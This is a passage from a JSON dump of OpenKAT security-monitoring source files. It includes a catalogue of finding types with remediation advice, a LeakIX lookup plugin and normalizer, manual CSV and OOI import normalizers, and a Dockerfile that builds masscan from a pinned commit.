RPKI route announcement\",\n    \"description\": \"The route announcement that is matched by the published Route Policy and Authorization (RPKI) is expired.\",\n    \"source\": \"https://blog.cloudflare.com/rpki/\",\n    \"risk\": \"low\",\n    \"impact\": \"Without RPKI validation, your servers might be more vulnerable to unintended or malicious routing configuration errors, potentially leading to inaccessibility of your servers or interception of internet traffic directed to them.\",\n    \"recommendation\": \"Make sure that the Route Origin Authorizations (ROAs) that specify which Autonomous Systems (AS) are authorized to announce your IP addresses are valid and not expired.\"\n  },\n  \"KAT-INVALID-RPKI\": {\n    \"name\":\"Invalid RPKI route announcement\",\n    \"description\": \"A route announcement that is matched by the published Route Policy and Authorization (RPKI) is invalid.\",\n    \"source\": \"https://blog.cloudflare.com/rpki/\",\n    \"risk\": \"medium\",\n    \"impact\": \"Without RPKI validation, your servers might be more vulnerable to unintended or malicious routing configuration errors, potentially leading to inaccessibility of your servers or interception of internet traffic directed to them.\",\n    \"recommendation\": \"Make sure that the Route Origin Authorizations (ROAs) that specify which Autonomous Systems (AS) are authorized to announce your IP addresses are valid and not expired.\"\n  },\n  \"KAT-NO-CAA\": {\n    \"name\":\"Missing CAA record\",\n    \"description\": \"This zone does not carry at least one CAA record.\",\n    \"source\": \"https://letsencrypt.org/docs/caa/\",\n    \"risk\": \"low\",\n    \"impact\": \"All Certificate Authorities may issue certificates for you domain.\",\n    \"recommendation\": \"Set a CAA record to limit which CA's are allowed to issue certs.\"\n  },\n  \"KAT-DISALLOWED-DOMAIN-IN-CSP\": {\n    \"name\":\"Disallowed domain(s) in CSP header\",\n    \"description\": \"This CSP header contains domains that are not allowed, If the website contains a cross-site scripting vulnerability, then JavaScript code can be injected into the web page hosted on these domains which can host files for anyone.\",\n    \"source\": \"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP\",\n    \"risk\": \"medium\",\n    \"impact\": \"Disallowed domains are domains that are for example 'world writable', this opens up the possibility for an atacker to host malicious files on a csp whitelisted domain.\",\n    \"recommendation\": \"Remove the offending hostname from the CSP header.\"\n  },\n  \"KAT-NONSTANDARD-HEADERS\": {\n    \"name\":\"Non-standard HTTP headers detected\",\n    \"description\": \"Headers are used that are nonstandard and should not be used anymore.\",\n    \"risk\": \"low\",\n    \"source\": \"https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers\",\n    \"impact\": \"Nonstandard headers may not be supported by all browsers and may not provide the security that is expected.\",\n    \"recommendation\": \"Remove the nonstandard headers from the response.\"\n  },\n  \"KAT-DOMAIN-OWNERSHIP-PENDING\": {\n    \"name\":\"Domain ownership is pending\",\n    \"description\": \"The domain requires Ownership verification. An email has been sent to the registered owner by the registrar. The domain is currently offline.\",\n    \"risk\": \"high\",\n    \"source\": \"https://www.icann.org/resources/pages/contact-verification-2013-05-03-en\",\n    \"impact\": \"Domain points to placeholder DNS-Servers, and is offline for regular use.\",\n    \"recommendation\": \"Verify ownership by following the emailed link.\"\n  },\n  \"KAT-SOFTWARE-VERSION-NOT-FOUND\": {\n    \"name\":\"Software version not found\",\n    \"description\": \"The version of the software is not found.\",\n    \"risk\": \"recommendation\",\n    \"source\": \"Check the version of the host manually.\",\n    \"impact\": \"Unknown. The server may or may not be vulnerable. OpenKAT is not able to determine the version.\",\n    \"recommendation\": \"Verify manually if the software is up to date as OpenKAT is not able to determine the software version .\"\n  },\n  \"KAT-LAME-DELEGATION\": {\n    \"name\":\"Name servers unreachable or non-existent\",\n    \"description\": \"The nameservers for this object are configured but cannot be reached or are non existent.\",\n    \"risk\": \"recommendation\",\n    \"source\": \"Check the nameservers of the host or iprange manually.\",\n    \"impact\": \"No resolving can be done for this IP or host. This might cause problems for mailservers or slow down connections.\",\n    \"recommendation\": \"Verify that the listed nameservers are reachable and have valid hostnames.\"\n  },\n  \"KAT-OUTDATED-SOFTWARE\": {\n    \"name\":\"Outdated software identified\",\n    \"description\": \"A newer version of existing software has been found.\",\n    \"risk\": \"recommendation\",\n    \"impact\": \"Depending on what software is outdated this can be critical.\",\n    \"recommendation\": \"Inspect the software version, determine if additional measures need to be taken and install updates to reduce the attack surface.\"\n  },\n  \"KAT-MISSING-HEADER\": {\n    \"name\":\"Missing security header\",\n    \"description\": \"A recommended HTTP security header is not present on the response. The exact header was either not recognised by the parser or not specifically mapped to a dedicated finding type.\",\n    \"source\": \"https://owasp.org/www-project-secure-headers/\",\n    \"risk\": \"recommendation\",\n    \"impact\": \"Missing security headers may weaken the browser-side defences of the site against common web attacks such as XSS, clickjacking, or MIME-sniffing.\",\n    \"recommendation\": \"Configure the web server or application to emit the missing security header(s) with appropriate values per the OWASP Secure Headers project.\"\n  },\n  \"KAT-NIKTO-FINDING\": {\n    \"name\":\"Nikto finding\",\n    \"description\": \"Nikto reported an issue that does not yet have a dedicated OpenKAT finding type. The raw message from Nikto is attached to the finding description.\",\n    \"source\": \"https://github.com/sullo/nikto\",\n    \"risk\": \"recommendation\",\n    \"impact\": \"Depends on the specific Nikto finding. Consult the finding description to assess impact.\",\n    \"recommendation\": \"Review the finding description and consult the Nikto documentation or your web server vendor for remediation guidance.\"\n  },\n  \"KAT-HTTP-TRACE-METHOD\": {\n    \"name\":\"HTTP TRACE method is enabled\",\n    \"description\": \"The HTTP TRACE method is enabled on the web server. TRACE can be abused in cross-site tracing (XST) attacks to read security-sensitive headers such as cookies when combined with other client-side vulnerabilities.\",\n    \"source\": \"https://owasp.org/www-community/attacks/Cross_Site_Tracing\",\n    \"risk\": \"medium\",\n    \"impact\": \"An attacker who also exploits a client-side vulnerability (e.g. XSS) can use TRACE to read otherwise HttpOnly cookies or authorization headers.\",\n    \"recommendation\": \"Disable the TRACE method on the web server. For Apache: TraceEnable off. For Nginx: do not forward TRACE. For IIS: disable the verb in request filtering.\"\n  },\n  \"KAT-WILDCARD-CERTIFICATE\": {\n    \"name\":\"Wildcard TLS certificate in use\",\n    \"description\": \"The server presents a wildcard TLS certificate. Wildcard certificates simplify operations but increase blast radius on compromise because the same private key authenticates every subdomain.\",\n    \"source\": \"https://en.wikipedia.org/wiki/Wildcard_certificate\",\n    \"risk\": \"recommendation\",\n    \"impact\": \"Compromise of the wildcard certificate private key allows an attacker to impersonate every matching subdomain.\",\n    \"recommendation\": \"Prefer per-host certificates when operationally feasible; automate issuance via ACME. Keep wildcards only where a single key/cert must cover many ephemeral subdomains and protect the key accordingly.\"\n  },\n  \"KAT-EXPOSED-DEFAULT-FILE\": {\n    \"name\":\"Default file exposed\",\n    \"description\": \"A default file or directory shipped with the web server software is exposed and reachable. These files often disclose software versions or provide an information foothold for attackers.\",\n    \"source\": \"https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/\",\n    \"risk\": \"low\",\n    \"impact\": \"Information disclosure about the underlying software stack, assisting reconnaissance.\",\n    \"recommendation\": \"Remove default files from production deployments or deny-list them at the web server level.\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_kat_finding_types/main.py",
    "content": "import json\n\nFINDING_TYPE_PATH = \"boefjes/plugins/kat_kat_finding_types/kat_finding_types.json\"\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    with open(FINDING_TYPE_PATH) as json_file:\n        data = json.load(json_file)\n        return [(set(), json.dumps(data))]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_kat_finding_types/normalize.py",
    "content": "import json\nimport logging\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerAffirmation, NormalizerOutput\nfrom octopoes.models.ooi.findings import KATFindingType, RiskLevelSeverity\n\nlogger = logging.getLogger(__name__)\n\n\nSEVERITY_SCORE_LOOKUP = {\n    RiskLevelSeverity.CRITICAL: 10.0,\n    RiskLevelSeverity.HIGH: 8.9,\n    RiskLevelSeverity.MEDIUM: 6.9,\n    RiskLevelSeverity.LOW: 3.9,\n    RiskLevelSeverity.RECOMMENDATION: 0.0,\n}\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    kat_finding_type_id = input_ooi[\"id\"]\n    data = json.loads(raw)\n\n    finding_type_information = data[kat_finding_type_id]\n    risk_severity = RiskLevelSeverity(finding_type_information[\"risk\"].lower())\n\n    risk_score = SEVERITY_SCORE_LOOKUP[risk_severity]\n\n    yield NormalizerAffirmation(\n        ooi=KATFindingType(\n            id=kat_finding_type_id,\n            name=finding_type_information.get(\"name\", None),\n            description=finding_type_information.get(\"description\", None),\n            source=finding_type_information.get(\"source\", None),\n            impact=finding_type_information.get(\"impact\", None),\n            recommendation=finding_type_information.get(\"recommendation\", None),\n            risk_severity=risk_severity,\n            risk_score=risk_score,\n        )\n    )\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_kat_finding_types/normalizer.json",
    "content": "{\n  \"id\": \"kat_kat_finding_types_normalize\",\n  \"name\": \"KAT finding types\",\n  \"description\": \"Parses KAT finding types.\",\n  \"consumes\": [\n    \"boefje/kat-finding-types\"\n  ],\n  \"produces\": [\n    \"KATFindingType\"\n  ],\n  \"enabled\": true\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_leakix/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_leakix/boefje.json",
    "content": "{\n  \"id\": \"leakix\",\n  \"name\": \"LeakIX\",\n  \"description\": \"Use LeakIX to find open ports, software and vulnerabilities. Requires a LeakIX API key.\",\n  \"consumes\": [\n    \"IPAddressV4\",\n    \"IPAddressV6\",\n    \"Hostname\"\n  ],\n  \"environment_keys\": [\n    \"LEAKIX_API\",\n    \"LEAKIX_SEARCH_MODE\"\n  ],\n  \"scan_level\": 1,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-generic:latest\",\n  \"oci_arguments\": [\n    \"kat_leakix.main\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_leakix/description.md",
    "content": "# LeakIX\n\nLeakIX is a project goes around the Internet and finds services to index them.\nThey gather information on the Internet on the most common security misconfiguration currently open.\n\n### Input OOIs\n\nLeakIX expects an IpAddress as input.\n\n### Output OOIs\n\nLeakIX currently outputs the following OOIs:\n\n| OOI type       | Description                                                   |\n| -------------- | ------------------------------------------------------------- |\n| IpPort         | Open IpPort found on input OOI                                |\n| Software       | Known software behind IpPort, sometimes with software version |\n| CveFindingType | Known vulnerability of software behind IpPort                 |\n| Finding        | Finding                                                       |\n\n### Running Boefje\n\n```json\n{\n  \"id\": \"leakix-scan-job\",\n  \"organization\": \"_dev\",\n  \"arguments\": {\n    \"host\": \"1.1.1.1\",\n    \"pk\": \"IpAddressV4|internet|1.1.1.1\"\n  },\n  \"dispatches\": {\n    \"normalizers\": [\"kat_leakix.normalize\"],\n    \"boefjes\": []\n  }\n}\n```\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_leakix/main.py",
    "content": "import json\nfrom os import getenv\nfrom urllib.parse import quote_plus\n\nimport requests\n\nAPI_TIMEOUT = 30\n\n\ndef get_api_headers() -> dict:\n    \"\"\"Get API headers with current LEAKIX_API key.\"\"\"\n    return {\"Accept\": \"application/json\", \"api-key\": getenv(\"LEAKIX_API\", \"\")}\n\n\ndef get_host_results(ip: str) -> list[dict]:\n    \"\"\"Use /host/{ip} endpoint for specific IP lookups (no netblock pollution).\"\"\"\n    results: list[dict] = []\n    response = requests.get(f\"https://leakix.net/host/{ip}\", headers=get_api_headers(), timeout=API_TIMEOUT)\n    response.raise_for_status()\n    if not response.content:\n        return results\n\n    response_json = response.json()\n    if not response_json:\n        return results\n\n    # /host endpoint returns {\"Services\": [...], \"Leaks\": [...]}\n    # Convert to same format as /search for normalizer compatibility\n    for service in response_json.get(\"Services\") or []:\n        if service.get(\"event_fingerprint\"):\n            results.append(service)\n\n    for leak in response_json.get(\"Leaks\") or []:\n        if leak.get(\"event_fingerprint\"):\n            results.append(leak)\n\n    return results\n\n\ndef get_search_results(query: str) -> list[dict]:\n    \"\"\"Use /search endpoint for hostname lookups (filtered in normalizer).\"\"\"\n    results: list[dict] = []\n    for scope in (\"leak\", \"service\"):\n        page_counter = 0\n        want_next_result = True\n        while want_next_result:\n            want_next_result = False\n            response = requests.get(\n                f\"https://leakix.net/search?scope={scope}&q={query}&page={page_counter}\",\n                headers=get_api_headers(),\n                timeout=API_TIMEOUT,\n            )\n            response.raise_for_status()\n            page_counter += 1\n            if not response.content:\n                break\n            response_json = response.json()\n            if not response_json:\n                break\n\n            for event in response_json:\n                if not event.get(\"event_fingerprint\"):\n                    continue\n                want_next_result = True\n                results.append(event)\n\n    return results\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    pk = boefje_meta[\"input_ooi\"]\n    if not pk:\n        raise Exception(\"LeakIX boefje requires an input OOI\")\n\n    search_mode = getenv(\"LEAKIX_SEARCH_MODE\", \"strict\")\n\n    if pk.startswith(\"IPAddressV4|\") or pk.startswith(\"IPAddressV6|\"):\n        ip = pk.split(\"|\")[-1]\n        if search_mode == \"strict\":\n            # Use /host endpoint for exact IP match (no netblock pollution)\n            results = get_host_results(ip)\n        else:\n            # Permissive mode: use /search (may include related IPs in netblock)\n            query = quote_plus(f\"+ip:{ip}\")\n            results = get_search_results(query)\n    elif pk.startswith(\"Hostname|\"):\n        hostname = pk.split(\"|\")[-1]\n        query = quote_plus(f'+host:\"{hostname}\"')\n        results = get_search_results(query)\n        # Filtering for hostname happens in normalizer based on search_mode\n    else:\n        raise NameError(f'Expected an IPAddress or Hostname, but got pk \"{pk}\"')\n\n    # Include search_mode in output so normalizer can filter accordingly\n    output = {\"search_mode\": search_mode, \"input_ooi\": pk, \"results\": results}\n\n    return [(set(), json.dumps(output))]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_leakix/normalize.py",
    "content": "import ipaddress\nimport json\nimport re\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.findings import CVEFindingType, Finding, KATFindingType\nfrom octopoes.models.ooi.network import (\n    AutonomousSystem,\n    IPAddressV4,\n    IPAddressV6,\n    IPPort,\n    IPV4NetBlock,\n    IPV6NetBlock,\n    Network,\n    PortState,\n    Protocol,\n)\nfrom octopoes.models.ooi.software import Software, SoftwareInstance\n\nSEVERITY_FINDING_MAPPING = {\n    \"critical\": \"KAT-LEAKIX-CRITICAL\",\n    \"high\": \"KAT-LEAKIX-HIGH\",\n    \"medium\": \"KAT-LEAKIX-MEDIUM\",\n    \"low\": \"KAT-LEAKIX-LOW\",\n    \"info\": \"KAT-LEAKIX-RECOMMENDATION\",\n}\n\nSEVERITY_LEAKSTAGE_MAPPING = {\n    \"open\": \"KAT-LEAKIX-LOW\",  # no severity given, default = low\n    \"explore\": \"KAT-LEAKIX-HIGH\",  # no severity given, default = high\n    \"exfiltrate\": \"KAT-LEAKIX-CRITICAL\",\n}\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    data = json.loads(raw)\n\n    # Support both old format (list) and new format (dict with metadata)\n    if isinstance(data, list):\n        # Old format: raw list of events\n        results = data\n        search_mode = \"permissive\"\n        input_pk = input_ooi[\"primary_key\"]\n    else:\n        # New format: dict with search_mode, input_ooi, and results\n        results = data.get(\"results\", [])\n        search_mode = data.get(\"search_mode\", \"strict\")\n        input_pk = data.get(\"input_ooi\", input_ooi[\"primary_key\"])\n\n    pk_ooi_reference = Reference.from_str(input_ooi[\"primary_key\"])\n    network_reference = Network(name=\"internet\").reference\n\n    # Precompute strict-mode filter check outside the loop\n    if search_mode == \"strict\" and input_pk and input_pk.startswith(\"Hostname|\"):\n        input_value = input_pk.split(\"|\")[-1]\n        strict = bool(input_value)\n    else:\n        input_value = None\n        strict = False\n\n    for event in results:\n        # In strict mode, filter hostname results to exact matches only\n        if strict:\n            event_host = event.get(\"host\", \"\")\n            if event_host.lower() != input_value.lower():\n                continue\n        # TODO: add event[\"time\"] to results. This is the time the event was first seen. Date of last scan is not\n        #  included in the result.\n        # TODO: LeakIX want to include a confidence per plugin, since some plugins have more false positives than others\n        # TODO: ssh, ssl\n\n        # reset loop\n        event_ooi_reference = pk_ooi_reference\n        ip_port_ooi_reference = pk_ooi_reference\n\n        # Autonomous System\n        as_ooi = None\n        if event[\"network\"][\"asn\"]:\n            as_ooi = handle_autonomous_system(event)\n            yield as_ooi\n\n        if event[\"ip\"]:\n            for ooi in list(handle_ip(event, network_reference, as_ooi.reference if as_ooi else None)):\n                yield ooi\n            # we only need the last ooi's reference\n            event_ooi_reference = ooi.reference\n            ip_port_ooi_reference = event_ooi_reference\n\n        if event[\"host\"]:\n            host_ooi = handle_hostname(event, network_reference)\n            yield host_ooi\n            event_ooi_reference = host_ooi.reference\n\n        software_ooi = None\n        for ooi in list(handle_software(event, event_ooi_reference)):\n            yield ooi\n            if type(ooi) is Software:\n                # Leak and CVE Events are bound to the software, not the softwareinstance\n                software_ooi = ooi\n\n        # Leak\n        yield from handle_leak(event, event_ooi_reference, software_ooi)\n\n        # CVES\n        yield from handle_tag(event, software_ooi.reference if software_ooi else None, ip_port_ooi_reference)\n\n\ndef handle_autonomous_system(event):\n    as_number = str(event[\"network\"][\"asn\"])\n    as_name = event[\"network\"][\"organization_name\"]\n    return AutonomousSystem(number=as_number, name=as_name) if as_name else AutonomousSystem(number=as_number)\n\n\ndef handle_ip(event, network_reference, as_ooi_reference):\n    # Store IP\n    ip = event[\"ip\"]\n    ipvx = ipaddress.ip_address(ip)\n    netblock_range = event[\"network\"][\"network\"].split(\"/\")\n    if ipvx.version == 4:\n        ip_type = IPAddressV4\n        block_type = IPV4NetBlock\n    else:\n        ip_type = IPAddressV6\n        block_type = IPV6NetBlock\n\n    ip_ooi = ip_type(address=ip, network=network_reference)\n    yield ip_ooi\n\n    if as_ooi_reference and len(netblock_range) == 2:\n        yield block_type(\n            network=network_reference, start_ip=ip_ooi.reference, mask=netblock_range[1], announced_by=as_ooi_reference\n        )\n\n    # Store port\n    yield IPPort(\n        address=ip_ooi.reference,\n        protocol=Protocol(\"tcp\" if event[\"protocol\"] != \"udp\" else \"udp\"),\n        port=int(event[\"port\"]),\n        state=PortState(\"open\"),\n    )\n\n\ndef handle_hostname(event, network_reference):\n    try:\n        ipvx = ipaddress.ip_address(event[\"host\"])\n        if ipvx.version == 4:\n            return IPAddressV4(address=event[\"host\"], network=network_reference)\n        return IPAddressV6(address=event[\"host\"], network=network_reference)\n    except ValueError:\n        # Not an IPAddress, so a hostname\n        return Hostname(name=event[\"host\"], network=network_reference)\n\n\ndef handle_software(event, event_ooi_reference):\n    software_args = {}\n    software_args[\"name\"] = event.get(\"service\", {}).get(\"software\", {}).get(\"name\")\n    software_args[\"version\"] = event.get(\"service\", {}).get(\"software\", {}).get(\"version\")\n    software_fingerprint = event.get(\"service\", {}).get(\"software\", {}).get(\"fingerprint\")\n    if software_fingerprint:\n        software_args[\"name\"] = software_fingerprint\n\n    software_ooi = None\n    if software_args[\"name\"] and software_args[\"version\"]:\n        software_ooi = Software(name=software_args[\"name\"], version=software_args[\"version\"])\n    elif software_args[\"name\"]:\n        software_ooi = Software(name=software_args[\"name\"])\n\n    if software_ooi:\n        yield software_ooi\n        software_instance_ooi = SoftwareInstance(ooi=event_ooi_reference, software=software_ooi.reference)\n        yield software_instance_ooi\n\n\ndef handle_leak(event, event_ooi_reference, software_ooi):\n    leak_severity = event.get(\"leak\", {}).get(\"severity\")\n    leak_stage = event.get(\"leak\", {}).get(\"dataset\", {}).get(\"stage\")\n    if leak_severity or leak_stage:\n        #  Got the different severities from: https://pkg.go.dev/github.com/LeakIX/l9format#pkg-constants\n        leak_infected = event.get(\"leak\", {}).get(\"dataset\", {}).get(\"infected\")\n        leak_ransomnote = event.get(\"leak\", {}).get(\"dataset\", {}).get(\"ransom_notes\")\n\n        # new stage or severity, default to low\n        kat_finding = \"KAT-LEAKIX-LOW\"\n        if leak_infected or leak_ransomnote:\n            kat_finding = \"KAT-LEAKIX-CRITICAL\"\n        elif leak_severity in SEVERITY_FINDING_MAPPING:\n            kat_finding = SEVERITY_FINDING_MAPPING[leak_severity]\n        elif leak_stage in SEVERITY_LEAKSTAGE_MAPPING:\n            kat_finding = SEVERITY_LEAKSTAGE_MAPPING[leak_stage]\n\n        finding_type = KATFindingType(id=kat_finding)\n        yield finding_type\n\n        kat_info = []\n        if software_ooi:\n            kat_info.append(f'Software = \"{software_ooi.name}\".')\n        else:\n            kat_info.append(f'Plugin = \"{event_ooi_reference}\".')\n\n        if leak_infected:\n            kat_info.append(\"Found evidence of external activity.\")\n        if leak_ransomnote:\n            kat_info.append(\"Found a ransom note.\")\n        if leak_stage:\n            kat_info.append(f\"Stage of the leak is: {leak_stage}.\")\n\n        yield Finding(\n            finding_type=finding_type.reference,\n            ooi=software_ooi.reference if software_ooi else event_ooi_reference,\n            description=\", \".join(kat_info),\n        )\n\n\ndef handle_tag(event, software_ooi_reference=None, ip_port_ooi_reference=None):\n    # Tags (CVE's)\n    if isinstance(event.get(\"tags\"), Iterable):\n        for tag in event.get(\"tags\", {}):\n            if re.match(r\"cve-\\d{4}-\\d{4,6}\", tag):\n                ft = CVEFindingType(id=tag)\n                cve_ooi = software_ooi_reference if software_ooi_reference else ip_port_ooi_reference\n                f = Finding(finding_type=ft.reference, ooi=cve_ooi)\n                yield ft\n                yield f\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_leakix/normalizer.json",
    "content": "{\n  \"id\": \"kat_leakix_normalize\",\n  \"name\": \"LeakIX\",\n  \"description\": \"Parses the LeakIX output into findings and identified software and services.\",\n  \"consumes\": [\n    \"boefje/leakix\"\n  ],\n  \"produces\": [\n    \"KATFindingType\",\n    \"SoftwareInstance\",\n    \"Service\",\n    \"IPPort\",\n    \"Finding\",\n    \"Software\",\n    \"IPService\",\n    \"CVEFindingType\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_leakix/schema.json",
    "content": "{\n  \"title\": \"Arguments\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"LEAKIX_API\": {\n      \"title\": \"LEAKIX_API\",\n      \"maxLength\": 128,\n      \"type\": \"string\",\n      \"description\": \"A LeakIX API key (see https://leakix.net/api-documentation).\"\n    },\n    \"LEAKIX_SEARCH_MODE\": {\n      \"title\": \"LEAKIX_SEARCH_MODE\",\n      \"type\": \"string\",\n      \"enum\": [\"strict\", \"permissive\"],\n      \"default\": \"strict\",\n      \"description\": \"Search mode: 'strict' (default) returns only exact matches for the scanned asset. 'permissive' returns all results from the netblock/AS (may include thousands of unrelated assets).\"\n    }\n  },\n  \"required\": [\n    \"LEAKIX_API\"\n  ],\n  \"secret\": [\n    \"LEAKIX_API\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_manual/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_manual/csv/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_manual/csv/normalize.py",
    "content": "import csv\nimport io\nimport logging\nfrom collections.abc import Iterable\nfrom ipaddress import IPv4Network, ip_network\n\nfrom pydantic import ValidationError\n\nfrom boefjes.normalizer_models import NormalizerDeclaration, NormalizerOutput\nfrom octopoes.models import OOI, Reference\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6, Network\nfrom octopoes.models.ooi.web import URL\nfrom octopoes.models.types import OOIType\n\nOOI_TYPES: dict[str, dict] = {\n    \"Hostname\": {\"type\": Hostname},\n    \"URL\": {\"type\": URL},\n    \"Network\": {\"type\": Network, \"default\": \"internet\", \"argument\": \"name\"},\n    \"IPAddressV4\": {\"type\": IPAddressV4},\n    \"IPAddressV6\": {\"type\": IPAddressV6},\n}\n\nlogger = logging.getLogger(__name__)\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    reference_cache = {\"Network\": {\"internet\": Network(name=\"internet\")}}\n\n    yield from process_csv(raw, reference_cache)\n\n\ndef process_csv(csv_raw_data: bytes, reference_cache: dict) -> Iterable[NormalizerOutput]:\n    csv_data = io.StringIO(csv_raw_data.decode(\"UTF-8\"))\n\n    object_type = get_object_type(csv_data)\n\n    for row_number, row in enumerate(csv.DictReader(csv_data, delimiter=\",\", quotechar='\"')):\n        if not row:\n            continue  # skip empty lines\n\n        try:\n            ooi, extra_declarations = get_ooi_from_csv(object_type, row, reference_cache)\n\n            yield from extra_declarations\n\n            yield NormalizerDeclaration(ooi=ooi)\n        except ValidationError:\n            logger.exception(\"Validation failed for row %s\", row)\n\n\ndef get_object_type(csv_data: io.StringIO) -> str:\n    csv_data.seek(0)\n    headers = csv_data.readline()\n    line = csv_data.readline()\n    csv_data.seek(0)\n\n    if \"name\" in headers:\n        return \"Hostname\"\n\n    if \"raw\" in headers:\n        return \"URL\"\n\n    if \"address\" in headers:\n        if line:\n            address = next(csv.DictReader(csv_data, delimiter=\",\", quotechar='\"'))[\"address\"]\n            csv_data.seek(0)\n\n            return \"IPAddressV4\" if isinstance(ip_network(address), IPv4Network) else \"IPAddressV6\"\n\n        return \"IPAddressV4\"  # No data in the csv, so this is redundant but an Exception would be overkill.\n\n    raise ValueError(\"Unsupported OOI type for csv normalizer.\")\n\n\ndef get_ooi_from_csv(\n    ooi_type_name: str, values: dict[str, str], reference_cache: dict\n) -> tuple[OOIType, list[NormalizerDeclaration]]:\n    skip_properties = (\"object_type\", \"scan_profile\", \"primary_key\")\n\n    ooi_type = OOI_TYPES[ooi_type_name][\"type\"]\n    ooi_fields = [\n        (field, model_field.annotation == Reference, model_field.is_required())\n        for field, model_field in ooi_type.model_fields.items()\n        if field not in skip_properties\n    ]\n\n    kwargs: dict[str, Reference | str | None] = {}\n    extra_declarations: list[NormalizerDeclaration] = []\n\n    for field, is_reference, required in ooi_fields:\n        if is_reference and required:\n            try:\n                referenced_ooi = get_or_create_reference(field, values.get(field), reference_cache)\n\n                extra_declarations.append(NormalizerDeclaration(ooi=referenced_ooi))\n                kwargs[field] = referenced_ooi.reference\n            except IndexError:\n                if required:\n                    raise IndexError(\n                        f\"Required referenced primary-key field '{field}' not set \"\n                        f\"and no default present for Type '{ooi_type_name}'.\"\n                    )\n                else:\n                    kwargs[field] = None\n        else:\n            kwargs[field] = values.get(field)\n\n    return ooi_type(**kwargs), extra_declarations\n\n\ndef get_or_create_reference(ooi_type_name: str, value: str | None, reference_cache: dict) -> OOI:\n    ooi_type_name = next(filter(lambda x: x.casefold() == ooi_type_name.casefold(), OOI_TYPES.keys()))\n\n    # get from cache\n    cache = reference_cache.setdefault(ooi_type_name, {})\n    if value in cache:\n        return cache[value]\n\n    ooi_type = OOI_TYPES[ooi_type_name][\"type\"]\n\n    # set default value if any\n    if value is None:\n        value = OOI_TYPES[ooi_type_name].get(\"default\")\n\n    # create the ooi\n    kwargs = {OOI_TYPES[ooi_type_name][\"argument\"]: value}\n    ooi = ooi_type(**kwargs)\n    cache[value] = ooi\n\n    return ooi\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_manual/csv/normalizer.json",
    "content": "{\n  \"id\": \"kat_manual_csv\",\n  \"name\": \"Manual CSV\",\n  \"description\": \"Parses uploaded CSV files into objects.\",\n  \"consumes\": [\n    \"manual/csv\"\n  ],\n  \"produces\": [\n    \"OOI\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_manual/single_ooi/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_manual/single_ooi/normalize.py",
    "content": "import json\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerDeclaration, NormalizerOutput\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    for declaration in json.loads(raw.decode()):\n        end_valid_time = declaration.pop(\"end_valid_time\", None)\n        yield NormalizerDeclaration(ooi=declaration[\"ooi\"], end_valid_time=end_valid_time)\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_manual/single_ooi/normalizer.json",
    "content": "{\n  \"id\": \"kat_manual_ooi\",\n  \"name\": \"Manual OOI normalizer\",\n  \"description\": \"Parses manually added objects.\",\n  \"consumes\": [\n    \"manual/ooi\"\n  ],\n  \"produces\": [\n    \"OOI\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_masscan/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_masscan/boefje.Dockerfile",
    "content": "FROM openkat/boefje-base:latest\n\nARG OCI_IMAGE=ghcr.io/minvws/openkat/masscan:latest\nENV OCI_IMAGE=$OCI_IMAGE\n\n# Packages:\n# git: get masscan source\n# libpcap(-dev): run masscan\n# libcap: set cap_net_raw permission for user nonroot\nUSER root\n\nRUN apt-get update && apt-get install -y --no-install-recommends git libpcap-dev libcap2-bin make gcc\n\n# Version pinning on specific commit. Tag in boefje.py may need an update when updating this hash.\nRUN mkdir masscan \\\n    && cd masscan \\\n    && git init \\\n    && git remote add origin https://github.com/robertdavidgraham/masscan.git \\\n    && git fetch --dept 1 origin 9065684c52682d3e12a35559ef72cd0f07838bff \\\n    && git checkout FETCH_HEAD \\\n    && make -j \\\n    && chown -R nonroot:nonroot /app/boefje/masscan \\\n    && setcap cap_net_raw=eip /app/boefje/masscan/bin/masscan\n\nUSER nonroot\n\nCOPY ./boefjes/plugins/kat_masscan ./kat_masscan\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_masscan/boefje.Dockerfile.dockerignore",
    "content": "**/__pycache__\n**/boefje.Dockerfile*\n**/description.md\n**/cover.jpg\n**/normalize.py\n**/normalizer.json\n"
  },
  {
